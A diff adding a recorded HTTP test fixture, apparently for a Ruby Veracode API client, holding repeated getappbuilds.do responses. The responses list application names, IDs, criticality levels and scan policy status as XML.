+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:16:13 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:17:25 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:17:26 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:17:27 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
